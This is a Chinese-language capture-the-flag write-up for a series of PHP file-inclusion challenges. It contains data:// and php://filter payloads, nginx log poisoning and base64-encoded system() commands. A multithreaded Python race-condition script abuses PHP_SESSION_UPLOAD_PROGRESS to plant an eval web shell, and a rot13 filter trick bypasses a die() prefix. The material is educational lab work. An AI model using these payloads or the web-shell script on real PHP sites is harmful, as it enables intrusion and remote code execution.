WEB78(伪协议)

  1. if(isset($_GET['file'])){
  2. $file = $_GET['file'];
  3. include($file);
  4. }else{
  5. highlight_file(__FILE__);
  6. }

payload1、file=data://text/plain,<?php system(“cat flag.php”);?>
payload2、file=php://filter/convert.base64-encode/resource=flag.php
都是利用伪协议读取

WEB79(伪协议)

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

payload: file=data://text/plain,<?= system(“cat flag.ph’’p”);?>
图片.png

WEB80(日志包含)

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

本题将PHP和data都过滤了,伪协议不能使用
使用本地包含日志文件getshell
日志文件路径:?file=/var/log/nginx/access.log图片.png图片.png图片.png也可以直接在hackbar里面完成:
图片.png

WEB81(日志包含)

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

比上一题多过滤了冒号,
同样尝试上面一道题的文件包含:同样发现文件名为fl0g.php
发现利用上一题的日志文件包含,也可以得到flag:图片.png

WEB82-86(★利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含)

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

比WEB82相比 多过滤了“.”,就不能包含日志文件了,因为日志文件在/var/log/nginx/access.log,包含“.
思路:过滤了点的话就只能包含无后缀的文件,众所周知,PHP里面我们能控制的无后缀的就只能是SESSION文件,这时候我们写个脚本,肯定就要用到php_session_upload_progress这个参数,这个参数是为了时事获得文件上传进度的!,虽然没有开启session,但是只要上传一个cookie里面带session这个名字的一个值,比如:
图片.png
这个文件名字我们是控制的,因为我们可以控制aaaa,变相的控制它的全称,这个文件名字我们控制了,如何控制文件内容呢?
控制文件内容我们需要使用php_session_upload_progress这个参数,这个参数是获取实时文件上传进度的,我们就可以利用它来实现写我们制定的内容,为什么我用它?因为指定post php_session_upload_progress这个name值会拼接到默认的名字,它的值就是我们提交的值,如:
PHP_SESSION_UPLOAD_PROGRESS=>’123’ 那么我们退出这个目录下sess_aaaa它的内容就是123
/tmp/sess_aaa=>123
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
我们写个脚本:

import requests
import io
import threading

url='http://2dac47ec-a4af-4a8f-8eec-6cb263eacd6e.challenge.ctf.show/'
sessionid='ctfshow'
data={
    "1":"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
}
#我们提交的值,也就是post的值,选择一句话木马的密码,内容我们可以在这指定好,用file_put_contents写文件
#这时候我们需要条件竞争,因为session是在脚本执行完毕之后就会删除,所以我们需要一边写的途中就马上读,这样竞争的时候是可以竞争到包含的这个的我们的指定文件
#写一个写的方法

#<?php eval($_POST[1]);?>
def write(session):
    fileBytes = io.BytesIO(b'a'*1024*50)
    while True:
        response=session.post(url,
            data={
            'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
            },
            cookies={
            'PHPSESSID':sessionid
            },
            files={
            'file':('ctfshow.jpg',fileBytes)
            }
            )

def read(session):
    while True:
        response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
            cookies={
            'PHPSESSID':sessionid
            }
            )
        resposne2=session.get(url+'2.php');
        if resposne2.status_code==200:
            print('++++++done++++++')
        else:
            print(resposne2.status_code)

if __name__ == '__main__':
    #多线程条件竞争
    evnet=threading.Event()
    with requests.session() as session:
        for i in range(5):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(5):
            threading.Thread(target=read,args=(session,)).start()

    evnet.set()

我们post:2=phpinfo();发现可以RCE了
2=system(“cat fl0g.php”);

Hint:
https://www.freebuf.com/vuls/202819.html 这道题有点像
wmctf的make php great again 利用session对话进行文件包含利用 https://blog.csdn.net/qq_46091464/article/details/108021053

WEB85不能使用尖括号了,修改脚本:用十个线程条件竞争

import requests
import io
import threading

url='http://2dac47ec-a4af-4a8f-8eec-6cb263eacd6e.challenge.ctf.show/'
sessionid='ctfshow'
data={
    "1":"file_put_contents('/var/www/html/2.php','<?php eval($_POST[2]);?>');"
}
#<?php eval($_POST[1]);?>
def write(session):
    fileBytes = io.BytesIO(b'a'*1024*50)
    while True:
        response=session.post(url,
            data={
            'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
            },
            cookies={
            'PHPSESSID':sessionid
            },
            files={
            'file':('ctfshow.jpg',fileBytes)
            }
            )

def read(session):
    while True:
        response=session.post(url+'?file=/tmp/sess_'+sessionid,data=data,
            cookies={
            'PHPSESSID':sessionid
            }
            )
        resposne2=session.get(url+'2.php');
        if resposne2.status_code==200:
            print('++++++done++++++')
        else:
            print(resposne2.status_code)

if __name__ == '__main__':
    #多线程条件竞争
    evnet=threading.Event()
    with requests.session() as session:
        for i in range(10):
            threading.Thread(target=write,args=(session,)).start()
        for i in range(10):
            threading.Thread(target=read,args=(session,)).start()

    evnet.set()

2=system(‘tac f*.php’); 拿到flag

WEB87(★base64_decode特性去除”死亡exit”)

利用php://filter绕过死亡exit

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);


}else{
    highlight_file(__FILE__);
}

图片.png
考虑使用伪协议的filter,
file=php://filter/write=string.rot13/resource=2.php(这里要二次编码)
全编码:%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%37%33%25%37%34%25%37%32%25%36%39%25%36%45%25%36%37%25%32%45%25%37%32%25%36%46%25%37%34%25%33%31%25%33%33%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%33%32%25%32%45%25%37%30%25%36%38%25%37%30
图片.png
php://filter是过滤器的名字
write=string.rot13 对写的内容进行rot13编码,就是凯撒13
文件名字是2.php

POST:content=<?php system(‘tac f.php’)?>
找个rot13在线工具:<?cuc flfgrz(‘gnp s
.cuc’)?>
图片.png
我们再看2.php写进去没有:图片.png

WEB88(data伪协议+base64)

出题人解法:
没有过滤冒号,直接伪协议(因为过滤了php,我们用base64编码)
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/Pg==PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTs/Pg==【<?php system(‘tac .php’);?>】发现error
由于等于号被过滤,我们用<?php system(‘tac
.php’); ?>加两个空格再base64:PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTsgID8+,提交后报错【加号也过滤了】
我们试试(这道题就是构造一个没有符号的base64):<?php system(‘tac *.php’);echo ‘abdc’;?>aa
它的base64:PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvICdhYmRjJzs/PmFh
file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvICdhYmRjJzs/PmFh提交后出现flag!

其他解法:
file=data://text/plain;base64,PD9waHAgICBzeXN0ZW0oIm5sICoucGhwIik7(相当于: <?php system(“nl .php”); ) 注意base64编码后不能有=,调整空格数量即可
PD9waHAgc3lzdGVtKCJubCAqLnBocCIpOz8+ (<?php system(“nl
.php”);?>) 【X】为什么加上?>就错呢?

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz4(√)
base64的内容是 <?php system(‘cat fl0g.php’); ?>

WEB116(unsolved)

misc+lfi(本地文件包含LFI)
打开后发现是一段港片
图片.png
直接右键另存视频到桌面,我们使用010editor看看